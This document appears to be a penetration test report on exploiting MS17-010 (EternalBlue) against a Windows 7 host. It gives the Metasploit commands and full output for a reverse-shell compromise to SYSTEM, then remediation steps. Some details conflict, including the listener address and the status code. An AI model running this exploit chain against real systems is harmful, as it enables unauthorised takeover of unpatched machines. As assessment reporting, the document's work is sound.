

PENETRATION TEST REPORT

MS17-010 / EternalBlue – SMBv1 Remote Code Execution

Target IP	10.48.182.66
Target OS	Windows 7 Professional SP1 x64 (Build 7601)
CVE	CVE-2017-0143 (MS17-010)
Exploit Used	exploit/windows/smb/ms17_010_eternalblue
Test Date	2026-06-02
Tester Platform	Kali Linux (10.48.120.205)
Classification	CONFIDENTIAL
Risk Rating	CRITICAL

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1. Executive Summary

A penetration test was conducted against target host **10.48.182.66** on June 2, 2026. The assessment identified a **critical severity** vulnerability — CVE-2017-0143 (MS17-010), commonly known as EternalBlue — in the target's SMBv1 service. Successful exploitation of this vulnerability resulted in unauthenticated remote code execution and full SYSTEM-level privilege escalation on the target host. The target was running **Windows 7 Professional SP1 x64**, a version that has been out of mainstream support since 2015.

The vulnerability was exploited using the Metasploit Framework module *exploit/windows/smb/ms17_010_eternalblue*. A reverse Meterpreter shell was obtained, confirming complete compromise of the target system. No credentials were required at any stage.

OVERALL RISK RATING	CRITICAL
CVSS Score (CVE-2017-0143)	9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C)
Authentication Required	None
Patch Available	Yes – Microsoft MS17-010 (March 2017)

2. Scope and Methodology

Target: 10.48.182.66 (single host, black-box assessment)

Attacker: 10.48.120.205 (Kali Linux)

The test followed a standard penetration testing methodology:

- Phase 1 – Reconnaissance:** Host discovery via ICMP ping to confirm reachability.
- Phase 2 – Scanning:** Nmap port/OS detection and vulnerability script scan (--script=vuln).
- Phase 3 – Exploitation:** Metasploit EternalBlue exploit to gain initial shell access.
- Phase 4 – Post-Exploitation:** Shell-to-Meterpreter upgrade; privilege verification via whoami.

3. Findings

3.1 Open Ports Discovered

Port	Service	Notes
135/tcp	msrpc	Microsoft RPC
139/tcp	netbios-ssn	NetBIOS Session Service
445/tcp	microsoft-ds	SMB – Exploited via MS17-010
3389/tcp	ms-wbt-server	Remote Desktop Protocol
49152–49160/tcp	unknown	Dynamic/Private ports (DCE/RPC)

3.2 Vulnerability: CVE-2017-0143 (MS17-010 / EternalBlue)

The Nmap vulnerability scan confirmed the target as **VULNERABLE** to MS17-010. This flaw is a buffer overflow in the Windows SMBv1 server (srv.sys) that allows an unauthenticated remote attacker to execute arbitrary code with SYSTEM privileges. It was originally developed by the NSA, leaked by the Shadow Brokers, and was weaponized in the WannaCry and NotPetya ransomware campaigns of 2017.

CVE ID	CVE-2017-0143
Microsoft Bulletin	MS17-010
CVSS v2 Score	9.3 (Critical)
Attack Vector	Network (no authentication required)
Disclosure Date	2017-03-14
Patch Status	UNPATCHED on target

4. Exploitation Walkthrough

4.1 Step 1: Host Discovery

ICMP ping was used to confirm the target host (10.48.182.66) was online and reachable from the attacker machine. Responses with TTL=126 indicated a Windows host (default TTL 128).

```
ping 10.48.182.66
```

4.2 Step 2: OS & Port Identification

An OS detection scan was run to identify open ports and the operating system. Results showed SMB-related ports (135, 139, 445), RDP (3389), and an OS guess of Windows 7 / Server 2008 R2 with 97% confidence.

```
nmap -O 10.48.182.66
```

4.3 Step 3: Vulnerability Scanning

Nmap's vuln script engine confirmed the host is VULNERABLE to MS17-010 (CVE-2017-0143). The scanner identified the SMBv1 remote code execution flaw with risk factor HIGH.

```
nmap --script=vuln 10.48.182.66
```

4.4 Step 4: Launch Metasploit

Metasploit Framework v6.4.126-dev was launched on the attacker machine to conduct the exploitation.

```
msfconsole
```

4.5 Step 5: Search for MS17-010 Modules

The search command returned multiple relevant modules. The primary exploit chosen was exploit/windows/smb/ms17_010_eternalblue (rank: average, disclosure date: 2017-03-14).

```
search ms17-010
```

4.6 Step 6: Configure the Exploit

The EternalBlue module was selected. RHOSTS was set to the target IP. LHOST was auto-configured to 10.0.2.15 with LPORT 4444 for the reverse Meterpreter payload.

```
use exploit/windows/smb/ms17_010_eternalblue set rhosts 10.48.182.66
```

4.7 Step 7: Execute the Exploit

The exploit was launched. The EternalBlue buffer overwrite completed successfully (0xC000000D). A command shell session (Session 1) was opened on port 49215 of the target.

```
run
```

4.8 Step 8: Verify Shell Access

A native Windows command shell was obtained. The shell banner confirmed Microsoft Windows Version 6.1.7601 (Windows 7 SP1).

```
(in session) C:\Windows\system32>
```

4.9 Step 9: Upgrade to Meterpreter

The shell session was upgraded to a full Meterpreter session using the `shell_to_meterpreter` post-exploitation module for richer functionality.

```
use post/multi/manage/shell_to_meterpreter set session 1 run
```

4.10 Step 10: Privilege Confirmation

Running `whoami` in the session returned `nt authority\system` — confirming full SYSTEM-level privileges without any credential use or privilege escalation step.

```
whoami
```

5. Evidence Screenshots

The following screenshots were captured during the engagement to serve as evidence of each phase.

```
(kali@kali)-[~/Desktop]
$ ping 10.48.182.66
PING 10.48.182.66 (10.48.182.66) 56(84) bytes of data.
64 bytes from 10.48.182.66: icmp_seq=1 ttl=126 time=35.1 ms
64 bytes from 10.48.182.66: icmp_seq=2 ttl=126 time=28.1 ms
^C
— 10.48.182.66 ping statistics —
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 28.136/31.594/35.053/3.458 ms
```

Figure 1: ICMP Ping – Target 10.48.182.66 is reachable

```
(kali@kali)-[~/Desktop]
$ nmap -O 10.48.182.66
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-02 17:02 -0400
Nmap scan report for 10.48.182.66 (10.48.182.66)
Host is up (0.030s latency).
Not shown: 992 closed tcp ports (reset)
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
3389/tcp   open  ms-wbt-server
49152/tcp  open  unknown
49153/tcp  open  unknown
49154/tcp  open  unknown
49160/tcp  open  unknown
Device type: general purpose media device
Running (JUST GUESSING): Microsoft Windows 2012|2008|7|Vista|8.1|Embedded Compact 7|10 (97%), Microsoft embedded (94%)
OS CPE: cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows_vista cpe:/o:microsoft:windows_8.1 cpe:/o:microsoft:windows_embedded_compact_7 cpe:/o:microsoft:windows_10 cpe:/o:microsoft:xbox_one
Aggressive OS guesses: Microsoft Windows Server 2012 or 2012 R2 (97%), Microsoft Windows Home Server 2011 (Windows Server 2008 R2) (96%), Microsoft Windows Server 2008 SP1 (96%), Microsoft Windows Server 2008 SP2 (96%), Microsoft Windows Vista SP2 or Windows 7 or Windows Server 2008 R2 or Windows 8.1 (96%), Microsoft Windows 7 (96%), Microsoft Windows 7 SP0 - SP1 or Windows Server 2008 (96%), Microsoft Windows 7 SP1 (96%), Microsoft Windows 7 Ultimate (96%), Microsoft Windows 8.1 (96%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 3 hops
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 5.00 seconds
```

Figure 2: Nmap OS Detection Scan – Windows 7 / Server 2008 identified

```
(kali@kali)-[~/Desktop]
$ nmap --script=vuln 10.48.182.66
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-02 17:03 -0400
Nmap scan report for 10.48.182.66 (10.48.182.66)
Host is up (0.029s latency).
Not shown: 992 closed tcp ports (reset)
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
3389/tcp   open  ms-wbt-server
49152/tcp  open  unknown
49153/tcp  open  unknown
49154/tcp  open  unknown
49160/tcp  open  unknown

Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms17-010:
|  VULNERABLE:
|    Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|    State: VULNERABLE
|    IDs: CVE:CVE-2017-0143
|    Risk factor: HIGH
|    A critical remote code execution vulnerability exists in Microsoft SMBv1
|    servers (ms17-010).
|
|    Disclosure date: 2017-03-14
|    References:
|      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
```

Figure 3: Nmap Vuln Script – MS17-010 (EternalBlue) confirmed VULNERABLE

```

(kali@kali)-[~]
$ msfconsole
Metasploit tip: Use post/multi/manage/autoroute to automatically add
pivot routes

/ it looks like you're trying to run a \
\ module

\
\ Trash
\
\ @ @
\
\ || ||
\
\ \ \
\
\

=[ metasploit v6.4.126-dev ]
+ -- --[ 2,638 exploits - 1,331 auxiliary - 2,153 payloads ]
+ -- --[ 432 post - 49 encoders - 14 nops - 12 evasion ]

Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > search ms17-010

```

Figure 4: Metasploit Framework launched

```

msf > search ms17-010

Matching Modules

#  Name                                     Disclosure Date Rank Check Description
-  -
0  exploit/windows/smb/ms17_010_eternalblue 2017-03-14      average Yes  MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1  \ target: Automatic Target                .               .       .
2  \ target: Windows 7                      .               .       .
3  \ target: Windows Embedded Standard 7    .               .       .
4  \ target: Windows Server 2008 R2         .               .       .
5  \ target: Windows 8                      .               .       .
6  \ target: Windows 8.1                   .               .       .
7  \ target: Windows Server 2012            .               .       .
8  \ target: Windows 10 Pro                 .               .       .
9  \ target: Windows 10 Enterprise Evaluation .               .       .
10 exploit/windows/smb/ms17_010_psexec      2017-03-14      normal  Yes  MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
11 \ target: Automatic                      .               .       .
12 \ target: PowerShell                     .               .       .
13 \ target: Native upload                  .               .       .
14 \ target: MOF upload                     .               .       .
15 \ AKA: ETERNALSYNERGY                    .               .       .
16 \ AKA: ETERNALROMANCE                    .               .       .
17 \ AKA: ETERNALCHAMPION                   .               .       .
18 \ AKA: ETERNALBLUE                       .               .       .
19 auxiliary/admin/smb/ms17_010_command     2017-03-14      normal  No   MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
20 \ AKA: ETERNALSYNERGY                    .               .       .
21 \ AKA: ETERNALROMANCE                    .               .       .
22 \ AKA: ETERNALCHAMPION                   .               .       .
23 \ AKA: ETERNALBLUE                       .               .       .
24 auxiliary/scanner/smb/smb_ms17_010      .               normal  Yes  MS17-010 SMB RCE Detection
25 \ AKA: DOUBLEPULSAR                      .               .       .
26 \ AKA: ETERNALBLUE                       .               .       .
27 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14      great   Yes  SMB DOUBLEPULSAR Remote Code Execution
28 \ target: Execute payload (x64)          .               .       .
29 \ target: Neutralize implant             .               .       .

Interact with a module by name or index. For example info 29, use 29 or use exploit/windows/smb/smb_doublepulsar_rce
After interacting with a module you can manually set a TARGET with set TARGET 'Neutralize implant'

```

Figure 5: search ms17-010 – exploit modules listed

```

msf > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf exploit(windows/smb/ms17_010_eternalblue) > show options

```

Figure 6: exploit/windows/smb/ms17_010_eternalblue selected; options shown


```
msf exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):
```

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	445	yes	The target port (TCP)
SMBDomain		no	(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7
SMBPass		no	(Optional) The password for the specified username
SMBUser		no	(Optional) The username to authenticate as
VERIFY_ARCH	true	yes	Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7
VERIFY_TARGET	true	yes	Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7

```

Payload options (windows/x64/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ----      -
  EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     10.0.2.15         yes       The listen address (an interface may be specified)
  LPORT     4444              yes       The listen port

Exploit target:

  Id  Name
  --  ---
  0    Automatic Target

View the full module info with the info, or info -d command.

msf exploit(windows/smb/ms17_010_eternalblue) > set rhosts 10.48.182.66
rhosts => 10.48.182.66

```

Figure 7: RHOSTS set to 10.48.182.66

```
msf exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 10.48.120.205:4444
[*] 10.48.182.66:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.48.182.66:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.48.182.66:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.48.182.66:445 - The target is vulnerable.
[*] 10.48.182.66:445 - Connecting to target for exploitation.
[+] 10.48.182.66:445 - Connection established for exploitation.
[+] 10.48.182.66:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.48.182.66:445 - CORE raw buffer dump (42 bytes)
[*] 10.48.182.66:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 10.48.182.66:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 10.48.182.66:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 10.48.182.66:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.48.182.66:445 - Trying exploit with 12 Groom Allocations.
[*] 10.48.182.66:445 - Sending all but last fragment of exploit packet
[*] 10.48.182.66:445 - Starting non-paged pool grooming
[+] 10.48.182.66:445 - Sending SMBv2 buffers
[+] 10.48.182.66:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.48.182.66:445 - Sending final SMBv2 buffers.
[*] 10.48.182.66:445 - Sending last fragment of exploit packet!
[*] 10.48.182.66:445 - Receiving response from exploit packet
[+] 10.48.182.66:445 - ETERNALBLUE overwrite completed successfully (0xC0000000)!
[*] 10.48.182.66:445 - Sending egg to corrupted connection.
[*] 10.48.182.66:445 - Triggering free of corrupted buffer.
[*] Sending stage (336 bytes) to 10.48.182.66
[*] Command shell session 1 opened (10.48.120.205:4444 -> 10.48.182.66:49215) at 2026-06-02 21:34:17 +0000
[+] 10.48.182.66:445 - =====
[+] 10.48.182.66:445 - -----WIN-----
[+] 10.48.182.66:445 - =====
```

Figure 8: Exploit executed – EternalBlue overwrite successful, shell session 1 opened

```

Shell Banner:
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
-----

C:\Windows\system32>

```

Figure 9: Shell session – Microsoft Windows 6.1.7601 (Windows 7 SP1)

```

C:\Windows\system32>^Z
Background session 1? [y/N] y
msf exploit(windows/smb/ms17_010_eternalblue) > sessions

Active sessions
=====

```

ID	Name	Type	Information	Connection
1	shell	x64/windows	Shell Banner: Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Micros...	10.48.120.205:4444 -> 10.48.182.66:49215 (10.48.182.66)

Figure 10: Session backgrounded; sessions list shows active shell x64/windows

```

msf exploit(windows/smb/ms17_010_eternalblue) > search shell_to

Matching Modules
=====

```

#	Name	Disclosure Date	Rank	Check	Description
0	post/multi/manage/shell_to_meterpreter	.	normal	No	Shell to Meterpreter Upgrade

Interact with a module by name or index. For example `info 0`, `use 0` or `use post/multi/manage/shell_to_meterpreter`

```

msf exploit(windows/smb/ms17_010_eternalblue) > use post/multi/manage/shell_to_meterpreter
msf post(multi/manage/shell_to_meterpreter) > show options

Module options (post/multi/manage/shell_to_meterpreter):

```

Name	Current Setting	Required	Description
HANDLER	true	yes	Start an exploit/multi/handler to receive the connection
LHOST		no	IP of host that will receive the connection from the payload (Will try to auto detect).
LPORT	4433	yes	Port for payload to connect to.
SESSION		yes	The session to run this module on

View the full module info with the `info`, or `info -d` command.

```

msf post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.48.120.205:4433
[*] Sending stage (248902 bytes) to 10.48.182.66

```

Figure 11: shell_to_meterpreter module used to upgrade shell to Meterpreter

```

C:\Windows\system32>whoami
whoami
nt authority\system

```

Figure 12: whoami – nt authority\system (SYSTEM privilege confirmed)

6. Remediation Recommendations

The following remediation actions are **strongly recommended** in order of priority:

CRITICAL – Apply Microsoft Patch MS17-010: Install the official Microsoft security patch KB4012212 (or the appropriate update for the specific OS version). This patch was released in March 2017 and directly addresses CVE-2017-0143.

HIGH – Disable SMBv1: SMBv1 is a legacy protocol with numerous known vulnerabilities. Disable it via PowerShell: `Set-SmbServerConfiguration -EnableSMB1Protocol $false`. Modern Windows environments do not require SMBv1 for normal operation.

HIGH – Upgrade the Operating System: Windows 7 reached end-of-life in January 2020 and no longer receives security updates. Migrate to Windows 10 or Windows 11 immediately.

MEDIUM – Block SMB at the Perimeter: Ensure TCP ports 139 and 445 are blocked at network perimeters and firewalls to prevent SMB exposure to untrusted networks.

MEDIUM – Enable Network Segmentation: Isolate vulnerable hosts in separate network segments and apply host-based firewall rules to limit SMB access to authorized systems only.

LOW – Implement Endpoint Detection: Deploy endpoint detection and response (EDR) tools to detect EternalBlue exploitation attempts, suspicious SMB traffic, and lateral movement activity.

7. Conclusion

The penetration test conclusively demonstrated that target host 10.48.182.66 is critically vulnerable to the MS17-010 (EternalBlue) exploit. Full SYSTEM-level access was achieved without any valid credentials within minutes of scanning. This represents a maximum severity finding that must be remediated immediately.

Given that this vulnerability was publicly disclosed in 2017 and patches have been available for over eight years, the presence of this unpatched system constitutes a serious security risk. Immediate patching, SMBv1 disablement, and OS upgrade are non-negotiable priorities.